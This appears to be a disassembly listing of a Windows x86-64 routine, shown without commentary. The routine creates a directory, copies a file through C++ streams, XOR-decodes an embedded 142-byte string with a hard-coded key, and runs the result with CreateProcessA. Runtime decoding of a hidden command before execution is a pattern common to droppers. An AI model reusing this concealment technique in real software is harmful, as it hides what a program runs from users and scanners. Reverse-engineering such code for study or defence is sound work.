cmp rax, rdx
jb 0x1400182f6
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x280]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x288]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x28c]
mov word [rcx + 0x1c], ax
jmp 0x14001831a
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x280]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x288]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x28c]
mov word [rcx + 0x1c], ax
lea rcx, [0x14003c1c0]
call fcn.14001ed58
nop
lea rcx, [rdi + rbx]
call fcn.1400191a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a0], r13
mov qword [rbp + 0x2a8], r13
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140018352
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140002e60
nop
lea r8, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0xf
cmova r8, qword [rbp + 0x290]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.14001edf0
mov rdi, rax
lea r8, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0xf
cmova r8, qword [rbp + 0x290]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400183fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
call fcn.14001ec40
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x50]
call fcn.14003a810
lea rdx, [rbp + 0x370]
cmp qword [rbp + 0x388], 0xf
cmova rdx, qword [rbp + 0x370]
lea rcx, [rbp - 0x50]
call fcn.14001a4a0
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rdi
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x54], edx
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xc0]
call fcn.14003a810
mov r8d, 0x20
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0xc0]
call fcn.140019ea0
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x40], 6
jne 0x1400184bd
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xd0], 6
jne 0x1400184bd
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xc0]
call fcn.14001a070
lea rcx, [rbp - 0x40]
call fcn.14001a920
mov ebx, 2
test rax, rax
jne 0x1400184f9
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov eax, r15d
cmp qword [rbp + rcx - 8], 0
cmovne eax, ebx
or eax, dword [rbp + rcx - 0x40]
and eax, 0x17
mov dword [rbp + rcx - 0x40], eax
and eax, dword [rbp + rcx - 0x3c]
jne 0x14001895f
lea rcx, [rbp + 0xc8]
call fcn.14001a920
test rax, rax
jne 0x140018544
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x108], 0
cmovne r15d, ebx
or r15d, dword [rbp + rcx + 0xd0]
and r15d, 0x17
mov dword [rbp + rcx + 0xd0], r15d
and r15d, dword [rbp + rcx + 0xd4]
jne 0x1400189b1
call fcn.140018ec0
mov r9, rax
cmp byte [rax + 0x8e], 0
je 0x1400185af
lea rdx, [rax + 1]
mov r8, rsi
sub r8, rax
movabs r10, 0xbb55ff59df597b8d
nop dword [rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x8e
jb 0x140018570
mov byte [r9 + 0x8e], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], r13
mov r8, rsi
inc r8
cmp byte [r9 + r8], 0
jne 0x1400185c2
mov rdx, r9
lea rcx, [rsp + 0x78]
call fcn.140002e60
nop
lea r8, [rsp + 0x78]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x230]
call fcn.14001ae20
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x14001862f
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001862a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a07
call fcn.14001ec40
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rcx, qword [rbp + 0x240]
inc rcx
mov rax, rbx
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.14001edf0
mov rbx, rax
lea r8, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova r8, qword [rbp + 0x230]
mov ecx, dword [rbp + 0x240]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rax
mov dword [rbp + 0x40c], 1
mov word [rbp + 0x410], r13w
lea rdx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova rdx, qword [rbp + 0x230]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14001ec40
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x1400187a2
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001879d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a0d
call fcn.14001ec40
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], 0
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rsi
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xc8]
call fcn.140019df0
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rbx
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xbc], edx
mov qword [rbp + 0x168], r14
lea rcx, [rbp + 0x168]
call fcn.14001e1c4
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x50], rdi
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x54], edx
lea rcx, [rbp - 0x40]
call fcn.140019df0
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x54], edx
mov qword [rbp + 0x60], r14
lea rcx, [rbp + 0x60]
call fcn.14001e1c4
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0xf
jbe 0x140017e0e
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400188d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a13
call fcn.14001ec40
jmp 0x140017e0e
call fcn.14002672c
nop
test al, 4
je 0x1400188f2
lea rbx, str.ios_base::badbit_set
jmp 0x140018906
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x290]
call fcn.140001d20
lea rdx, [0x140071028]
lea rcx, [rbp + 0x290]
call fcn.140020bdc
nop
call fcn.1400013f0
nop
call fcn.1400013f0
nop
call fcn.1400013f0
nop
call fcn.14002672c
nop
call fcn.14002672c
nop
call fcn.14002672c
nop
test al, 4
je 0x14001896c
lea rbx, str.ios_base::badbit_set
jmp 0x140018980
test bl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001d20
lea rdx, [0x140071028]
lea rcx, [rsp + 0x50]
call fcn.140020bdc
int3
test r15b, 4
je 0x1400189c0
lea rbx, str.ios_base::badbit_set
jmp 0x1400189d6
test r15b, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001d20
lea rdx, [0x140071028]
lea rcx, [rsp + 0x50]
call fcn.140020bdc
nop
call fcn.14002672c
nop
call fcn.14002672c
nop
call fcn.14002672c
nop
call fcn.14002672c
nop
call fcn.14002672c
nop
call fcn.14002672c
nop
call fcn.14002672c
nop
call fcn.14002672c
nop
call fcn.14002672c
nop
call fcn.14002672c
nop
call fcn.14002672c
int3